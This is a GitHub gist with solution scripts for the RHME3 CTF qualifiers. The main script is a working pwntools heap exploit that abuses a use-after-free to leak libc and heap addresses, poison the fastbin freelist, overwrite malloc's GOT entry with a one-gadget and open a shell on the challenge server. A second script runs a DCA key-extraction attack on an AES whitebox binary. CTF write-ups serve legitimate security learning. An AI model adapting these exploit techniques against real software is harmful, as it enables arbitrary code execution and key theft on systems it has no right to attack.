Last active
September 1, 2017 23:36
-
-
Save glem0/43a3a455584b7cfcaa9ea66e0ac128d2 to your computer and use it in GitHub Desktop.
Solution to RHME3 Quals
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Solution to RHME3 Quals 'Exploitation' | |
# glem | |
from pwn import * | |
context.log_level = 'debug' | |
class rhme3Pwn: | |
def __init__(self, p): | |
self.p = p | |
def add_player(self, name, a=0, d=0, s=0x21, p=0): | |
# default values to help represent fake chunks | |
self.p.sendline("1") | |
self.p.recvuntil("name: ") | |
self.p.sendline(name) | |
self.p.recvuntil("attack points:") | |
self.p.sendline(str(a)) | |
self.p.recvuntil("defense points:") | |
self.p.sendline(str(d)) | |
self.p.recvuntil("speed: ") | |
self.p.sendline(str(s)) | |
self.p.recvuntil("precision: ") | |
self.p.sendline(str(p)) | |
print("[+] Created player! with name %s" % name) | |
self.p.recvuntil('choice: ') | |
def remove_player(self, index): | |
self.p.sendline("2") | |
self.p.recvuntil("index: ") | |
self.p.sendline(str(index)) | |
print("[+] Removed Player! with index %d" % index) | |
self.p.recvuntil('choice: ') | |
def select_player(self, index): | |
self.p.sendline("3") | |
self.p.recvuntil("index: ") | |
self.p.sendline(str(index)) | |
print("[+] Player %d Selected" % index) | |
self.p.recvuntil('choice: ') | |
def edit_player(self, name): | |
self.p.sendline("4") | |
self.p.recvuntil("choice: ") | |
self.p.sendline("1") | |
self.p.recvuntil("name: ") | |
self.p.sendline(name) | |
self.p.recvuntil("choice: ") | |
self.p.sendline("0") | |
print("[+] Player edited! new name is %s" % name) | |
self.p.recvuntil('choice: ') | |
def show_team(self): | |
self.p.sendline("6") | |
print("------------") | |
print(self.p.recvuntil('0.')) | |
self.p.recvuntil('choice: ') | |
print("------------") | |
def show_player(self): | |
self.p.sendline("5") | |
print("------------") | |
print(self.p.recvuntil('choice: ')) | |
print("------------") | |
# preload the libc for debugging exploit | |
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")} | |
# pull things we need | |
binary = ELF('main.elf') | |
got_malloc = binary.got['malloc'] | |
# Parameter to play around with smallbin sizes | |
sz = 215 | |
local = False | |
# just set chunk indexes for exploit | |
if local: | |
r = process('./main.elf', env=env) | |
chunkZ = 0 | |
chunkA = 1 | |
chunkB = 2 | |
chunkC = 3 | |
else: | |
r = remote('pwn.rhme.riscure.com', 1337) | |
chunkZ = 0 | |
chunkA = 4 | |
chunkB = 5 | |
chunkC = 6 | |
a = rhme3Pwn(r) | |
r.recvuntil('choice:') | |
# Make large chunk such that it is NOT a fastbin - because we want | |
# a libc leak of the smallbin array slot. | |
# We need more than one chunk so that when we free the 0'th one it doesn't get | |
# combined with the top chunk and we have one to read data from :) | |
a.add_player('Z'*sz) | |
a.add_player('') | |
a.add_player('') | |
a.add_player('') | |
a.add_player('') | |
a.add_player('') | |
# The fourth chunk in the exploit needs to have a null for the name, as this 'name' | |
# will appear on the freelist, and when malloc_consolidate gets called we | |
# don't want to die, we want the NULL to be the end of the fastbin freelist. | |
a.add_player('') | |
a.add_player('') | |
a.add_player('') | |
a.add_player('') | |
# select player 0 so we can read the ptrs out of it when we free it (UAF) | |
a.select_player(chunkZ) | |
# now free it so we can leak the pointers to the small bin array | |
a.remove_player(chunkZ) | |
# now lets read the 'name'! ;) | |
# ---------------- | |
r.sendline('5') | |
r.recvuntil("Name: ") | |
lkd_fd = r.recvuntil('\n', drop=True) | |
lkd_fd = u64(lkd_fd.ljust(8,'\0')) # unpack it and adjust it | |
log.success("Leaked main arena ptr: 0x%x" % lkd_fd) | |
r.recvuntil('choice: ') # get to clean state | |
# ---------------- | |
# now that we have this, we can find the offset from libc base! | |
libc_base = lkd_fd - 0x3c4b78 # (hard coded offset found from gdb for this libc) | |
log.info("Hence libc_base: 0x%x" % libc_base) | |
# and the magic gadget I already have.. | |
gadgets = [0x4526a, 0xcd0f3, 0xcd1c8, 0xf0274, 0xf1117, 0xf66c0] | |
one_shot = libc_base + gadgets[3] # number 3 has the constraints we need | |
log.info("one_shot we are using @: 0x%x" % one_shot) | |
# restore the first chunk | |
a.add_player('Z'*sz) | |
# get a UAF on player 2 by getting it to the front of the fastbin freelist | |
# P2 -> P2n -> P3 -> P3n -> NULL | |
a.select_player(chunkA) | |
a.remove_player(chunkB) | |
a.remove_player(chunkA) | |
# ---------------- | |
# Read the FD ptr of Player 2's name chunk (so the addr of P3 chunk) | |
r.sendline('5') | |
r.recvuntil("Name: ") | |
lkd_loc = r.recvuntil('\n', drop=True) | |
lkd_loc = u64(lkd_loc.ljust(8,'\0')) | |
r.recvuntil('choice: ') | |
log.success("Leaked heap ptr: 0x%x" % lkd_loc) | |
# ----------------- | |
# We want to corrupt the FD ptr of Player 2 name chunk to point to Player 3's | |
# actual player chunk | |
a.edit_player(p64(lkd_loc+0x60)) | |
# Restore player 2, but having '4141414141414141 0000000000000021' as the name | |
# for the purpose of the name chunk allocation at the very last stage | |
a.add_player('') | |
# Malloc a forced chunk where the player overlays the Player 3 name chunk and | |
# the name chunk for this allocation goes to the bottom of the heap because | |
# of it's size because we don't care about it | |
a.add_player('A'*sz) | |
# Remove the player chunk we just created | |
a.remove_player(chunkB) | |
# Select the player 4 chunk so we can rename it, changing the FD ptr of the | |
# player chunk we just created - allowing us to malloc our own NAME chunk | |
# wherever we want | |
a.select_player(chunkC) | |
a.edit_player(p64(lkd_loc-0x30)) | |
# Create a chunk - which will be overlapping the original Player 2 player chunk | |
# the name that will overlay the name Ptr of player 2 is the addr of got_malloc | |
a.add_player(p64(got_malloc)) | |
a.select_player(chunkA) | |
# and now we write the one shot gadget to the malloc GOT entry | |
a.edit_player(p64(one_shot)) | |
# and initiate a malloc call via creating a player | |
r.sendline("1") | |
# shellz | |
r.interactive() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Solution to RHME3 Quals 'Whitebox' | |
# glem | |
import sys | |
sys.path.insert(0, '../../') | |
from deadpool_dca import * | |
from binascii import unhexlify | |
def processinput(iblock, blocksize): | |
reta = unhexlify('%0*x' % (2*blocksize, iblock)) | |
return (reta, ['--stdin']) | |
def processoutput(output, blocksize): | |
return int(''.join([x for x in output.split()]), 16) | |
T=TracerPIN('../shared/rhme/whitebox', processinput, processoutput, ARCH.amd64, 16) | |
T.run(2000) | |
bin2daredevil(configs={'attack_sbox': {'algorithm':'AES', 'position':'LUT/AES_AFTER_SBOX'}, | |
'attack_multinv':{'algorithm':'AES', 'position':'LUT/AES_AFTER_MULTINV'}}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment